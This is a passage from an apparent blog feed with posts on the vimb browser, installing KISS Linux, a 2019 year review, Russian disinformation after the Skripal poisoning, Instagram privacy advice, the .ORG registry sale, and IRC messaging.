itself.</p> <p>Sure, KISS now ships Firefox binaries in the <a href="https://github.com/kisslinux/repo/tree/master/extra/firefox-bin" rel="nofollow">firefox-bin</a> package; I decided to get rid of that slow mess anyway.</p> <h2 id="enter-vimb">Enter vimb</h2> <p><a href="https://fanglingsu.github.io/vimb/" rel="nofollow">vimb</a> is a browser based on <a href="https://webkitgtk.org/" rel="nofollow">webkit2gtk</a>, with a Vim-like interface. <code>webkit2gtk</code> builds in less than a minute&mdash;it blows Firefox out of the water, on that front.</p> <p>There isn&rsquo;t much of a UI to it&mdash;if you&rsquo;ve used Vimperator/Pentadactyl (Firefox plugins), vimb should look familiar to you. It can be configured via a <code>config.h</code> or a text based config file at <code>~/.config/vimb/config</code>. Each &ldquo;tab&rdquo; opens a new instance of vimb, in a new window but this can get messy really fast if you have a lot of tabs open.</p> <h2 id="enter-tabbed">Enter tabbed</h2> <p><a href="https://tools.suckless.org/tabbed/" rel="nofollow">tabbed</a> is a tool to <em>embed</em> X apps which support xembed into a tabbed UI. This can be used in conjunction with vimb, like so:</p> <pre><code>tabbed vimb -e </code></pre> <p>Where the <code>-e</code> flag is populated with the <code>XID</code>, by tabbed. Configuring Firefox-esque keybinds in tabbed&rsquo;s <code>config.h</code> is relatively easy. Once that&rsquo;s done&mdash;voilà! A fairly sane, Vim-like browsing experience that&rsquo;s faster and has a smaller footprint than Firefox.</p> <h2 id="ad-blocking">Ad blocking</h2> <p>Ad blocking support isn&rsquo;t built-in and there is no plugin system available. There are two options for ad blocking:</p> <ol> <li><a href="https://github.com/jun7/wyebadblock" rel="nofollow">wyebadblock</a></li> <li><code>/etc/hosts</code></li> </ol> <h2 id="caveats">Caveats</h2> <p><em>Some</em> websites tend to not work because they detect vimb as an older version of Safari (same web engine). This is a minor inconvenience, and not a dealbreaker for me. I also cannot login to Google&rsquo;s services for some reason, which is mildly annoying, but it&rsquo;s good in a way&mdash;I am now further incentivised to dispose of my Google account.</p> <p>And here&rsquo;s the screenshot y&rsquo;all were waiting for:</p> <p><img src="https://cdn.icyphox.sh/d03i0.png" alt="" /></p> + + + Five days in a TTY + 2020-01-13T00:00:00Z + tag:icyphox.sh/,2020-01-13:blog/five-days-tty + + <h2>I installed KISS Linux</h2> <p>This new semester has been pretty easy on me, so far. I hardly every have any classes (again, so far), and I&rsquo;ve a ton of free time on my hands. This calls for&mdash;yep&mdash;a distro hop!</p> <h2 id="why-kiss">Why KISS?</h2> <p><a href="https://getkiss.org" rel="nofollow">KISS</a> has been making rounds on the interwebz lately.<sup class="footnote-ref" id="fnref:hn"><a href="#fn:hn">1</a></sup> The Hacker News post spurred <em>quite</em> the discussion. But then again, that is to be expected from Valleybros who use macOS all day. :^)</p> <p>From the website,</p> <blockquote> <p>An independent Linux® distribution with a focus on simplicity and the concept of “less is more”. The distribution targets <em>only</em> the x86&ndash;64 architecture and the English language.</p> </blockquote> <p>Like many people did in the HN thread, &ldquo;simplicity&rdquo; here is not to be confused with &ldquo;ease&rdquo;. It is instead, simplicity in terms of lesser and cleaner code&mdash;no <a href="https://www.urbandictionary.com/define.php?term=poetterware" rel="nofollow">Poetterware</a>.</p> <p>This, I can get behind. A clean system with less code is like a clean table. It&rsquo;s nice to work on. It also implies security to a certain extent since there&rsquo;s a smaller attack surface.</p> <p>The <a href="https://github.com/kisslinux/kiss" rel="nofollow"><code>kiss</code></a> package manager is written is pure POSIX sh, and does <em>just enough</em>. Packages are compiled from source and <code>kiss</code> automatically performs dependency resolution. Creating packages is ridiculously easy too.</p> <p>Speaking of packages, all packages&mdash;both official &amp; community repos&mdash;are run through <code>shellcheck</code> before getting merged. This is awesome; I don&rsquo;t think this is done in any other distro.</p> <p>In essence, KISS sucks less.</p> <h2 id="installing-kiss">Installing KISS</h2> <p>The <a href="https://getkiss.org/pages/install" rel="nofollow">install guide</a> is very easy to follow. Clear instructions that make it hard to screw up; that didn&rsquo;t stop me from doing so, however.</p> <h3 id="day-1">Day 1</h3> <p>Although technically not in a TTY, it was still not <em>in</em> the KISS system&mdash;I&rsquo;ll count it. I&rsquo;d compiled the kernel in the chroot and decided to use <code>efibootmgr</code> instead of GRUB. <code>efibootmgr</code> is a neat tool to modify the Intel Extensible Firmware Interface (EFI). Essentially, you boot the <code>.efi</code> directly as opposed to choosing which boot entry you want to boot, through GRUB. Useful if you have just one OS on the system. Removes one layer of abstraction.</p> <p>Adding a new EFI entry is pretty easy. For me, the command was:</p> <pre><code>efibootmgr --create --disk /dev/nvme0n1 \ --part 1 \ --label KISS Linux \ --loader /vmlinuz --unicode 'root=/dev/nvme0n1p3 rw' # kernel parameters </code></pre> <p>Mind you, this didn&rsquo;t work the first time, or the second, or the third &hellip; a bunch of trial and error (and asking on <code>#kisslinux</code>) later, it worked.</p> <p>Well, it booted, but not into KISS. Took a while to figure out that the culprit was <code>CONFIG_BLK_DEV_NVME</code> not having been set in the kernel config. Rebuild &amp; reboot later, I was in.</p> <h3 id="day-2">Day 2</h3> <p>Networking! How fun. An <code>ip a</code> and I see that both USB tethering (ethernet) and wireless don&rsquo;t work. Great. Dug around a bit&mdash;missing wireless drivers was the problem. Found my driver, a binary <code>.ucode</code> from Intel (eugh!). The whole day was spent in figuring out why the kernel would never load the firmware. I tried different variations&mdash;loading it as a module (<code>=m</code>), baking it in (<code>=y</code>) but no luck.</p> <h3 id="day-3">Day 3</h3> <p>I then tried Alpine&rsquo;s kernel config but that was so huge and had a <em>ton</em> of modules and took far too long to build each time, much to my annoyance. Diffing their config and mine was about ~3000 lines! Too much to sift through. On a whim, I decided to scrap my entire KISS install and start afresh.</p> <p>For some odd reason, after doing the <em>exact</em> same things I&rsquo;d done earlier, my wireless worked this time. Ethernet didn&rsquo;t, and still doesn&rsquo;t, but that&rsquo;s ok.</p> <p>Building <code>xorg-server</code> was next, which took about an hour, mostly thanks to spotty internet. The build went through fine, though what wasn&rsquo;t was no input after starting X. Adding my user to the <code>input</code> group wasn&rsquo;t enough. The culprit this time was a missing <code>xf86-xorg-input</code> package. Installing that gave me my mouse back, but not the keyboard!</p> <p>It was definitely not the kernel this time, because I had a working keyboard in the TTY.</p> <h3 id="day-4-day-5">Day 4 &amp; Day 5</h3> <p>This was probably the most annoying of all, since the fix was <em>trivial</em>. By this point I had exhausted all ideas, so I decided to build my essential packages and setup my system. Building Firefox took nearly 9 hours, the other stuff were much faster.</p> <p>I was still chatting on IRC during this, trying to zero down on what the problem could be. And then:</p> <pre><code>&lt;dylanaraps&gt; For starters I think st fails due to no fonts. </code></pre> <p>Holy shit! Fonts. I hadn&rsquo;t installed <em>any</em> fonts. Which is why none of the applications I tried launching via <code>sowm</code> ever launched, and hence, I was lead to believe my keyboard was dead.</p> <h2 id="worth-it">Worth it?</h2> <p>Absolutely. I <em>cannot</em> stress on how much of a learning experience this was. Also a test of my patience and perseverance, but yeah ok. I also think that this distro is my endgame (yeah, right), probably because other distros will be nothing short of disappointing, in one way or another.</p> <p>Huge thanks to the folks at <code>#kisslinux</code> on Freenode for helping me throughout. And I mean, they <em>really</em> did. We chatted for hours on end trying to debug my issues.</p> <p>I&rsquo;ll now conclude with an obligatory screenshot.</p> <p><img src="https://cdn.icyphox.sh/R6G.png" alt="scrot" /></p> <div class="footnotes"> <hr /> <ol> <li id="fn:hn"><a href="https://news.ycombinator.com/item?id=21021396" rel="nofollow">https://news.ycombinator.com/item?id=21021396</a> <a class="footnote-return" href="#fnref:hn"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + 2019 in review + 2020-01-02T00:00:00Z + tag:icyphox.sh/,2020-01-02:blog/2019-in-review + + <h2>A look back at last year</h2> <p>Just landed in a rainy Chennai, back in campus for my 6th semester. A little late to the &ldquo;year in review blog post&rdquo; party; travel took up most of my time. Last year was pretty eventful (at least in my books), and I think I did a bunch of cool stuff&mdash;let&rsquo;s see!</p> <h2 id="interning-at-securelayer7">Interning at SecureLayer7</h2> <p>Last summer, I interned at <a href="https://securelayer7.net" rel="nofollow">SecureLayer7</a>, a security consulting firm in Pune, India. My work was mostly in hardware and embededded security research. I learnt a ton about ARM and MIPS reversing and exploitation, UART and JTAG, firmware RE and enterprise IoT security.</p> <p>I also earned my first CVE! I&rsquo;ve written about it in detail <a href="/blog/fb50">here</a>.</p> <h2 id="conferences">Conferences</h2> <p>I attended two major conferences last year&mdash;Nullcon Goa and PyCon India. Both super fun experiences and I met a ton of cool people! <a href="https://twitter.com/icyphox/status/1101022604851212288" rel="nofollow">Nullcon Twitter thread</a> and <a href="/blog/pycon-wrap-up">PyCon blog post</a>.</p> <h2 id="talks">Talks</h2> <p>I gave two talks last year:</p> <ol> <li><em>Intro to Reverse Engineering</em> at Cyware 2019</li> <li><em>&ldquo;Smart lock? Nah dude.&rdquo;</em> at PyCon India</li> </ol> <h2 id="things-i-made">Things I made</h2> <p>Not in order, because I CBA:</p> <ul> <li><a href="https://github.com/icyphox/repl" rel="nofollow">repl</a>: More of a quick bash hack, I don&rsquo;t really use it.</li> <li><a href="https://github.com/icyphox/pw" rel="nofollow">pw</a>: A password manager. This, I actually do use. I&rsquo;ve even written a tiny <a href="https://github.com/icyphox/dotfiles/blob/master/bin/pwmenu.sh" rel="nofollow"><code>dmenu</code> wrapper</a> for it.</li> <li><a href="https://github.com/icyphox/twsh" rel="nofollow">twsh</a>: An incomplete twtxt client, in bash. I have yet to get around to finishing it.</li> <li><a href="https://github.com/icyphox/alpine" rel="nofollow">alpine ports</a>: My APKBUILDs for Alpine.</li> <li><a href="https://github.com/icyphox/detotated" rel="nofollow">detotated</a>: An IRC bot written in Python. See <a href="/blog/irc-for-dms">IRC for DMs</a>.</li> <li><a href="https://github.com/icyphox/icyrc" rel="nofollow">icyrc</a>: A no bullshit IRC client, because WeeChat is bloat.</li> </ul> <p>I probably missed something, but whatever.</p> <h2 id="blog-posts">Blog posts</h2> <pre><code>$ ls -1 pages/blog/*.md | wc -l 20 </code></pre> <p>So excluding today&rsquo;s post, and <code>_index.md</code>, that&rsquo;s 18 posts! I had initially planned to write one post a month, but hey, this is great. My plan for 2020 is to write one post a <em>week</em>&mdash;unrealistic, I know, but I will try nevertheless.</p> <p>I wrote about a bunch of things, ranging from programming to return-oriented-programming (heh), sysadmin and security stuff, and a hint of culture and philosophy. Nice!</p> <p>The <a href="/blog/python-for-re-1">Python for Reverse Engineering</a> post got a ton of attention on the interwebz, so that was cool.</p> <h2 id="bye-2019">Bye 2019</h2> <p>2019 was super productive! (in my terms). I learnt a lot of new things last year, and I can only hope to learn as much in 2020. :)</p> <p>I&rsquo;ll see you next week.</p> + + + Disinfo war&#58; RU vs GB + 2019-12-12T00:00:00Z + tag:icyphox.sh/,2019-12-12:blog/ru-vs-gb + + <h2>A look at Russian info ops against Britain</h2> <p>This entire sequence of events begins with the attempted poisoning of Sergei Skripal<sup class="footnote-ref" id="fnref:skripal"><a href="#fn:skripal">1</a></sup>, an ex-GRU officer who was a double-agent for the UK&rsquo;s intelligence services. This hit attempt happened on the 4th of March, 2018. 8 days later, then-Prime Minister Theresa May formally accused Russia for the attack.</p> <p>The toxin used in the poisoning was a nerve agent called <em>Novichok</em>. In addition to the British military-research facility at Porton Down, a small number of labs around the world were tasked with confirming Porton Down&rsquo;s conclusions on the toxin that was used, by the OPCW (Organisation for the Prohibition of Chemical Weapons).</p> <p>With the background on the matter out of the way, here are the different instances of well timed disinformation pushed out by Moscow.</p> <h2 id="the-russian-offense">The Russian offense</h2> <h3 id="april-14-2018">April 14, 2018</h3> <ul> <li>RT published an article claiming that Spiez had identified a different toxin&mdash;BZ, and not Novichok.</li> <li>This was an attempt to shift the blame from Russia (origin of Novichok), to NATO countries, where it was apparently in use.</li> <li>Most viral piece on the matter in all of 2018.</li> </ul> <p>Although technically correct, this isn&rsquo;t the entire truth. As part of protocol, the OPCW added a new substance to the sample as a test. If any of the labs failed to identify this substance, their findings were deemed untrustworthy. This toxin was a derivative of BZ.</p> <p>Here are a few interesting things to note:</p> <ol> <li>The entire process starting with the OPCW and the labs is top-secret. How did Russia even know Speiz was one of the labs?</li> <li>On April 11th, the OPCW mentioned BZ in a report confirming Porton Down&rsquo;s findings. Note that Russia is a part of OPCW, and are fully aware of the quality control measures in place. Surely they knew about the reason for BZ&rsquo;s use?</li> </ol> <p>Regardless, the Russian version of the story spread fast. They cashed in on two major factors to plant this disinfo:</p> <ol> <li>&ldquo;NATO bad&rdquo; : Overused, but surprisingly works. People love a story that goes full 180°.</li> <li>Spiez can&rsquo;t defend itself: At the risk of revealing that it was one of the facilities testing the toxin, Spiez was only able to &ldquo;not comment&rdquo;.</li> </ol> <h3 id="april-3-2018">April 3, 2018</h3> <ul> <li>The Independent publishes a story based on an interview with the chief executive of Porton Down, Gary Aitkenhead.</li> <li>Aitkenhead says they&rsquo;ve identified Novichok but &ldquo;have not identified the precise source&rdquo;.</li> <li>Days earlier, Boris Johnson (then-Foreign Secretary) claimed that Porton Down confirmed the origin of the toxin to be Russia.</li> <li>This discrepancy was immediately promoted by Moscow, and its network all over.</li> </ul> <p>This one is especially interesting because of how <em>simple</em> it is to exploit a small contradiction, that could&rsquo;ve been an honest mistake. This episode is also interesting because the British actually attempted damage control this time. Porton Down tried to clarify Aitkenhead&rsquo;s statement via a tweet<sup class="footnote-ref" id="fnref:dstltweet"><a href="#fn:dstltweet">2</a></sup>:</p> <blockquote> <p>Our experts have precisely identified the nerve agent as a Novichok. It is not, and has never been, our responsibility to confirm the source of the agent @skynews @UKmoments</p> </blockquote> <p>Quoting the <a href="https://www.defenseone.com/threats/2019/12/britains-secret-war-russia/161665/" rel="nofollow">Defense One</a> article on the matter:</p> <blockquote> <p>The episode is seen by those inside Britain’s security communications team as the most serious misstep of the crisis, which for a period caused real concern. U.K. officials told me that, in hindsight, Aikenhead could never have blamed Russia directly, because that was not his job—all he was qualified to do was identify the chemical. Johnson, in going too far, was more damaging. Two years on, he is now prime minister.</p> </blockquote> <h3 id="may-2018">May 2018</h3> <ul> <li>OPCW facilities receive an email from Spiez inviting them to a conference.</li> <li>The conference itself is real, and has been organized before.</li> <li>The email however, was not&mdash;attached was a Word document containing malware.</li> <li>Also seen were inconsistencies in the email formatting, from what was normal.</li> </ul> <p>This spearphishing campaign was never offically attributed to Moscow, but there are a lot of tells here that point to it being the work of a state actor:</p> <ol> <li>Attack targetting a specific group of individuals.</li> <li>Relatively high level of sophistication&mdash;email formatting, malicious Word doc, etc.</li> </ol> <p>However, the British NCSC have deemed with &ldquo;high confidence&rdquo; that the attack was perpetrated by GRU. In the UK intelligence parlance, &ldquo;highly likely&rdquo; / &ldquo;high confidence&rdquo; usually means &ldquo;definitely&rdquo;.</p> <h2 id="britain-s-defense">Britain&rsquo;s defense</h2> <h3 id="september-5-2018">September 5, 2018</h3> <p>The UK took a lot of hits in 2018, but they eventually came back:</p> <ul> <li>Metropolitan Police has a meeting with the press, releasing their findings.</li> <li>CCTV footage showing the two Russian hitmen was released.</li> <li>Traces of Novichok identified in their hotel room.</li> </ul> <p>This sudden news explosion from Britan&rsquo;s side completely bulldozed the information space pertaining to the entire event. According to Defense One:</p> <blockquote> <p>Only two of the 10 most viral stories in the weeks following the announcement were sympathetic to Russia, according to NewsWhip. Finally, officials recalled, it felt as though the U.K. was the aggressor. “This was all kept secret to put the Russians on the hop,” one told me. “Their response was all over the place from this point. It was the turning point.”</p> </blockquote> <p>Earlier in April, 4 GRU agents were arrested in the Netherlands, who were there to execute a cyber operation against the OPCW (located in The Hague), via their WiFi networks. They were arrested by Dutch security, and later identifed as belonging to Unit 26165. They also seized a bunch of equipment from the room and their car.</p> <blockquote> <p>The abandoned equipment revealed that the GRU unit involved had sent officers around the world to conduct similar cyberattacks. They had been in Malaysia trying to steal information about the investigation into the downed Malaysia Airlines Flight 17, and at a hotel in Lausanne, Switzerland, where a World Anti-Doping Agency (WADA) conference was taking place as Russia faced sanctions from the International Olympic Committee. Britain has said that the same GRU unit attempted to compromise Foreign Office and Porton Down computer systems after the Skripal poisoning.</p> </blockquote> <h3 id="october-4-2018">October 4, 2018</h3> <p>UK made the arrests public, published a list of infractions commited by Russia, along with the specific GRU unit that was caught.</p> <p>During this period, just one of the top 25 viral stories was from a pro-Russian outlet, RT&mdash;that too a fairly straightforward piece.</p> <h2 id="wrapping-up">Wrapping up</h2> <p>As with conventional warfare, it&rsquo;s hard to determine who won. Britain may have had the last blow, but Moscow&mdash;yet again&mdash;depicted their finesse in information warfare. Their ability to seize unexpected openings, gather intel to facilitate their disinformation campaigns, and their cyber capabilities makes them a formidable threat.</p> <p>2020 will be fun, to say the least.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:skripal"><a href="https://en.wikipedia.org/wiki/Sergei_Skripal" rel="nofollow">https://en.wikipedia.org/wiki/Sergei_Skripal</a> <a class="footnote-return" href="#fnref:skripal"><span aria-label='Return'>↩︎</span></a></li> <li id="fn:dstltweet"><a href="https://twitter.com/dstlmod/status/981220158680260613" rel="nofollow">https://twitter.com/dstlmod/status/981220158680260613</a> <a class="footnote-return" href="#fnref:dstltweet"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Instagram OPSEC + 2019-12-02T00:00:00Z + tag:icyphox.sh/,2019-12-02:blog/ig-opsec + + <h2>Operational security for the average zoomer</h2> <p>Which I am not, of course. But seeing as most of my peers are, I am compelled to write this post. Using a social platform like Instagram automatically implies that the user understands (to some level) that their personally identifiable information is exposed publicly, and they sign up for the service understanding this risk&mdash;or I think they do, anyway. But that&rsquo;s about it, they go ham after that. Sharing every nitty gritty detail of their private lives without understanding the potential risks of doing so.</p> <p>The fundamentals of OPSEC dictacte that you develop a threat model, and Instgrammers are <em>obviously</em> incapable of doing that&mdash;so I&rsquo;ll do it for them.</p> <h2 id="your-average-instagrammer-s-threat-model">Your average Instagrammer&rsquo;s threat model</h2> <p>I stress on the word &ldquo;average&rdquo;, as in this doesn&rsquo;t apply to those with more than a couple thousand followers. Those type of accounts inherently face different kinds of threats&mdash;those that come with having a celebrity status, and are not in scope of this analysis.</p> <ul> <li><strong>State actors</strong>: This doesn&rsquo;t <em>really</em> fit into our threat model, since our target demographic is simply not important enough. That said, there are select groups of individuals that operate on Instagram<sup class="footnote-ref" id="fnref:ddepisode"><a href="#fn:ddepisode">1</a></sup>, and they can potentially be targetted by a state actor.</li> </ul> <ul> <li><p><strong>OSINT</strong>: This is probably the biggest threat vector, simply because of the amount of visual information shared on the platform. A lot can be gleaned from one simple picture in a nondescript alleyway. We&rsquo;ll get into this in the DOs and DON&rsquo;Ts in a bit.</p></li> <li><p><strong>Facebook &amp; LE</strong>: Instagram is the last place you want to be doing an illegal, because well, it&rsquo;s logged and more importantly&mdash;not end-to-end encrypted. Law enforcement can subpoena any and all account information. Quoting Instagram&rsquo;s <a href="https://help.instagram.com/494561080557017" rel="nofollow">page on this</a>:</p></li> </ul> <blockquote> <p>a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause is required to compel the disclosure of the stored contents of any account, which may include messages, photos, comments, and location information.</p> </blockquote> <p>That out of the way, here&rsquo;s a list of DOs and DON&rsquo;Ts to keep in mind while posting on Instagram.</p> <h3 id="don-ts">DON&rsquo;Ts</h3> <ul> <li><p>Use Instagram for planning and orchestrating illegal shit! I&rsquo;ve explained why this is a terrible idea above. Use secure comms&mdash;even WhatsApp is a better choice, if you have nothing else. In fact, try avoiding IG DMs altogether, use alternatives that implement E2EE.</p></li> <li><p>Film live videos outside. Or try not to, if you can. You might unknowingly include information about your location: street signs, shops etc. These can be used to ascertain your current location.</p></li> <li><p>Film live videos in places you visit often. This compromises your security at places you&rsquo;re bound to be at.</p></li> <li><p>Share your flight ticket in your story! I can&rsquo;t stress this enough!!! Summer/winter break? &ldquo;Look guys, I&rsquo;m going home! Here&rsquo;s where I live, and here&rsquo;s my flight number&mdash;feel free to track me!&rdquo;. This scenario is especially worrisome because the start and end points are known to the threat actor, and your arrival time can be trivially looked up&mdash;thanks to the flight number on your ticket. So, just don&rsquo;t.</p></li> <li><p>Post screenshots with OS specific details. This might border on pendantic, but better safe than sorry. Your phone&rsquo;s statusbar and navbar are better cropped out of pictures. They reveal the time, notifications (apps that you use), and can be used to identify your phone&rsquo;s operating system. Besides, the status/nav bar isn&rsquo;t very useful to your screenshot anyway.</p></li> <li><p>Share your voice. In general, reduce your footprint on the platform that can be used to identify you elsewhere.</p></li> <li><p>Think you&rsquo;re safe if your account is set to private. It doesn&rsquo;t take much to get someone who follows you, to show show your profile on their device.</p></li> </ul> <h3 id="dos">DOs</h3> <ul> <li><p>Post pictures that pertain to a specific location, once you&rsquo;ve moved out of the location. Also applies to stories. It can wait.</p></li> <li><p>Post pictures that have been shot indoors. Or try to; reasons above. Who woulda thunk I&rsquo;d advocate bathroom selfies?</p></li> <li><p>Delete old posts that are irrelevant to your current audience. Your friends at work don&rsquo;t need to know about where you went to high school.</p></li> </ul> <p>More DON&rsquo;Ts than DOs, that&rsquo;s very telling. Here are a few more points that are good OPSEC practices in general:</p> <ul> <li><strong>Think before you share</strong>. Does it conform to the rules mentioned above?</li> <li><strong>Compartmentalize</strong>. Separate as much as you can from what you share online, from what you do IRL. Limit information exposure.</li> <li><strong>Assess your risks</strong>: Do this often. People change, your environments change, and consequentially the risks do too.</li> </ul> <h2 id="fin">Fin</h2> <p>Instagram is&mdash;much to my dismay&mdash;far too popular for it to die any time soon. There are plenty of good reasons to stop using the platform altogether (hint: Facebook), but that&rsquo;s a discussion for another day.</p> <p>Or be like me:</p> <p><img src="https://cdn.icyphox.sh/fI7nL.jpg" alt="" /></p> <p>And that pretty much wraps it up, with a neat little bow.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:ddepisode"><a href="https://darknetdiaries.com/episode/51/" rel="nofollow">https://darknetdiaries.com/episode/51/</a>&mdash;Jack talks about Indian hackers who operate on Instagram. <a class="footnote-return" href="#fnref:ddepisode"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + Save .ORG! + 2019-11-23T00:00:00Z + tag:icyphox.sh/,2019-11-23:blog/save-org + + <h2>PIR is getting sold to a private firm, and here's why it's bad</h2> <p>The .ORG top-level domain introduced in 1985, has been operated by the <a href="https://en.wikipedia.org/wiki/Public_Interest_Registry" rel="nofollow">Public Interest Registry</a> since 2003.</p> <p>The .ORG TLD is used primarily by communities, free and open source projects, and other non-profit organizations&mdash;although the use of the TLD isn&rsquo;t restricted to non-profits.</p> <p>The Internet Society or ISOC, the group that created the PIR, has decided to sell the registry over to a private equity firm&mdash;Ethos Capital.</p> <h2 id="what-s-the-problem">What&rsquo;s the problem?</h2> <p>There are around 10 million .ORG TLDs registered, and a good portion of them are non-profits and non-governmental organizations. As the name suggests, they don&rsquo;t earn any profits and all their operations rely on a thin inflow of donations. A private firm having control of the .ORG domain gives them the power to make decisions that would be unfavourable to the .ORG community:</p> <ul> <li><p>They control the registration/renewal fees of the TLD. They can hike the price if they wish to. As is stands, NGOs already earn very little&mdash;a .ORG price hike would put them in a very icky situation.</p></li> <li><p>They can introduce <a href="https://www.icann.org/resources/pages/rpm-drp-2017-10-04-en" rel="nofollow">Rights Protection Mechanisms</a> or RPMs, which are essentially legal statements that can&mdash;if not correctly developed&mdash;jeopardize / censor completely legal non-profit activities.</p></li> <li><p>Lastly, they can suspend domains at the whim of state actors. It isn&rsquo;t news that nation states go after NGOs, targetting them with allegations of illegal activity. The registry being a private firm only simplifies the process.</p></li> </ul> <p>Sure, these are just &ldquo;what ifs&rdquo; and speculations, but the risk is real. Such power can be abused and this would be severly detrimental to NGOs globally.</p> <h2 id="how-can-i-help">How can I help?</h2> <p>We need to get the ISOC to <strong>stop the sale</strong>. Head over to <a href="https://savedotorg.org" rel="nofollow">https://savedotorg.org</a> and sign their letter. An email is sent on your behalf to:</p> <ul> <li>Andrew Sullivan, CEO, ISOC</li> <li>Jon Nevett, CEO, PIR</li> <li>Maarten Botterman, Board Chair, ICANN</li> <li>Göran Marby, CEO, ICANN</li> </ul> <h2 id="closing-thoughts">Closing thoughts</h2> <p>The Internet that we all love and care for is slowly being subsumed by megacorps and private firms, who&rsquo;s only motive is to make a profit. The Internet was meant to be free, and we&rsquo;d better act now if we want that freedom. The future looks bleak&mdash;I hope we aren&rsquo;t too late.</p> + + + Status update + 2019-11-16T00:00:00Z + tag:icyphox.sh/,2019-11-16:blog/2019-11-16 + + <h2>Exams, stuff, etc.</h2> <p>This month is mostly just unfun stuff, lined up in a neat schedule&mdash;exams. I get all these cool ideas for things to do, and it&rsquo;s always during exams. Anyway, here&rsquo;s a quick update on what I&rsquo;ve been up to.</p> <h2 id="blog-post-queue">Blog post queue</h2> <p>I realized that I could use this site&rsquo;s <a href="https://github.com/icyphox/site" rel="nofollow">repo</a>&rsquo;s issues to track blog post ideas. I&rsquo;ve made a few, mostly just porting them over from my Google Keep note.</p> <p>This method of using issues is great, because readers can chime in with ideas for things I could possibly discuss&mdash;like in <a href="https://github.com/icyphox/site/issues/10" rel="nofollow">this issue</a>.</p> <h2 id="contemplating-a-vite-rewrite">Contemplating a <code>vite</code> rewrite</h2> <p><a href="https://github.com/icyphox/vite" rel="nofollow"><code>vite</code></a>, despite what the name suggests -- is awfully slow. Also, Python is bloat. Will rewriting it fix that? That&rsquo;s what I plan to find out. I have a couple of choices of languages to use in the rewrite:</p> <ul> <li>C: Fast, compiled. Except I suck at it. (<code>cite</code>?)</li> <li>Nim: My favourite, but I&rsquo;ll have to write bindings to <a href="https://github.com/kristapsdz/lowdown" rel="nofollow"><code>lowdown(1)</code></a>. (<code>nite</code>?)</li> <li>Shell: Another favourite, muh &ldquo;minimalsm&rdquo;. No downside, really. (<code>shite</code>?)</li> </ul> <p>Oh, and did I mention&mdash;I want it to be compatible with <code>vite</code>. I don&rsquo;t want to have to redo my site structure or its templates. At the moment, I rely on Jinja2 for templating, so I&rsquo;ll need something similar.</p> <h2 id="irc-bot">IRC bot</h2> <p>My earlier post on <a href="/blog/irc-for-dms">IRC for DMs</a> got quite a bit of traction, which was pretty cool. I didn&rsquo;t really talk much about the bot itself though; I&rsquo;m dedicating this section to <a href="https://github.com/icyphox/detotated" rel="nofollow">detotated</a>.<sup class="footnote-ref" id="fnref:1"><a href="#fn:1">1</a></sup></p> <p>Fairly simple Python code, using plain sockets. So far, we&rsquo;ve got a few basic features in place:</p> <ul> <li><code>.np</code> command: queries the user&rsquo;s last.fm to get the currently playing track</li> <li>Fetches the URL title, when a URL is sent in chat</li> </ul> <p>That&rsquo;s it, really. I plan to add a <code>.nps</code>, or &ldquo;now playing Spotify&rdquo; command, since we share Spotify links pretty often.</p> <h2 id="other">Other</h2> <p>I&rsquo;ve been reading some more manga, I&rsquo;ll update the <a href="/reading">reading log</a> when I, well&hellip; get around to it. Haven&rsquo;t had time to do much in the past few weeks&mdash;the time at the end of a semester tends to get pretty tight. Here&rsquo;s what I plan to get back to during this winter break:</p> <ul> <li>Russian!</li> <li>Window manager in Nim</li> <li><code>vite</code> rewrite, probably</li> <li>The other blog posts in queue</li> </ul> <p>I&rsquo;ve also put off doing any &ldquo;security work&rdquo; for a while now, perhaps that&rsquo;ll change this December. Or whenever.</p> <p>With that ends my status update, on all things that I <em>haven&rsquo;t</em> done.</p> <div class="footnotes"> <hr /> <ol> <li id="fn:1"><a href="https://knowyourmeme.com/memes/dedotated-wam" rel="nofollow">https://knowyourmeme.com/memes/dedotated-wam</a> (dead meme, yes I know) <a class="footnote-return" href="#fnref:1"><span aria-label='Return'>↩︎</span></a></li> </ol> </div> + + + IRC for DMs + 2019-11-03T00:00:00Z + tag:icyphox.sh/,2019-11-03:blog/irc-for-dms + + <h2>Honestly, it's pretty great</h2> <p><a href="https://nerdypepper.me" rel="nofollow">Nerdy</a> and I decided to try and use IRC for our daily communications, as opposed to non-free alternatives like WhatsApp or Telegram. This is an account of how that went.</p> <h2 id="the-status-quo-of-instant-messaging-apps">The status quo of instant messaging apps</h2> <p>I&rsquo;ve tried a <em>ton</em> of messaging applications&mdash;Signal, WhatsApp, Telegram, Wire, Jami (Ring), Matrix, Slack, Discord and more recently, DeltaChat.</p> <p><strong>Signal</strong>: It straight up sucks on Android. Not to mention the centralized architecture, and OWS&rsquo;s refusal to federate.</p> <p><strong>WhatsApp</strong>: Facebook&rsquo;s spyware that people use without a second thought. The sole reason I have it installed is for University&rsquo;s class groups; I can&rsquo;t wait to graduate.</p> <p><strong>Telegram</strong>: Centralized architecture and a closed-source server. It&rsquo;s got a very nice Android client, though.</p> <p><strong>Jami</strong>: Distributed platform, free software. I am not going to comment on this because I don&rsquo;t recall what my experience was like, but I&rsquo;m not using it now&hellip; so if that&rsquo;s indicative of anything.</p> <p><strong>Matrix (Riot)</strong>: Distributed network. Multiple client implementations. Overall, pretty great, but it&rsquo;s slow. I&rsquo;ve had messages not send / not received a lot of times. Matrix + Riot excels in group communication, but really sucks for one-to-one chats.</p> <p><strong>Slack</strong> / <strong>Discord</strong>: <em>sigh</em></p> <p><strong>DeltaChat</strong>: Pretty interesting idea&mdash;on paper. Using existing email infrastructure for IM sounds great, but it isn&rsquo;t all that cash in practice. Email isn&rsquo;t instant, there&rsquo;s always a delay of give or take 5 to 10 seconds, if not more. This affects the flow of conversation. I might write a small blog post later, revewing DeltaChat.<sup class="footnote-ref" id="fnref:deltachat"><a href="#fn:deltachat">1</a></sup></p> <h2 id="why-irc">Why IRC?</h2> <p>It&rsquo;s free, in all senses of the word. A lot of others have done a great job of answering this question in further detail, this is by far my favourite:</p> <p><a href="https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html" rel="nofollow">https://drewdevault.com/2019/07/01/Absence-of-features-in-IRC.html</a></p> <h2 id="using-irc-s-private-messages">Using IRC&rsquo;s private messages</h2> <p>This was the next obvious choice, but personal 